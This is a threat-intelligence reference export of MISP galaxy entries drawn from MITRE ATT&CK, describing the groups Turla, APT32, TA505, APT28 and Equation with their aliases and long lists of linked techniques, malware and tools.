[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Turla - G0010"
Turla - G0010 is also known as:
-
Turla
-
Waterbug
-
WhiteBear
-
VENOMOUS BEAR
-
Snake
-
Krypton
Turla - G0010 has relationships with:
-
similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Gazer - S0168" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Mosquito - S0256" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="nbtstat - S0102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Kazuar - S0265" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Carbon - S0335" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PowerStallion - S0393" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="LightNeuron - S0395" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
APT32 - G0050
[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)
The tag is: misp-galaxy:mitre-intrusion-set="APT32 - G0050"
APT32 - G0050 is also known as:
-
APT32
-
SeaLotus
-
OceanLotus
-
APT-C-00
APT32 - G0050 has relationships with:
-
similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="KOMPROGO - S0156" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="WINDSHIELD - S0155" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Denis - S0354" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PHOREAL - S0158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/ |
TA505 - G0092
[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)
The tag is: misp-galaxy:mitre-intrusion-set="TA505 - G0092"
TA505 - G0092 is also known as:
-
TA505
TA505 - G0092 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TrickBot - S0266" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ServHelper - S0382" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FlawedGrace - S0383" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
APT28 - G0007
[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)
The tag is: misp-galaxy:mitre-intrusion-set="APT28 - G0007"
APT28 - G0007 is also known as:
-
APT28
-
SNAKEMACKEREL
-
Swallowtail
-
Group 74
-
Sednit
-
Sofacy
-
Pawn Storm
-
Fancy Bear
-
STRONTIUM
-
Tsar Team
-
Threat Group-4127
-
TG-4127
APT28 - G0007 has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HIDEDRV - S0135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DealersChoice - S0243" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="XAgentOSX - S0161" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Zebrocy - S0251" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Forfiles - S0193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Cannon - S0351" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="LoJax - S0397" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Fysbis - S0410" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328" with estimative-language:likelihood-probability="almost-certain"
Equation - G0020
[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)
The tag is: misp-galaxy:mitre-intrusion-set="Equation - G0020"
Equation - G0020 is also known as:
-
Equation
Equation - G0020 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
Links |
Moafee - G0002
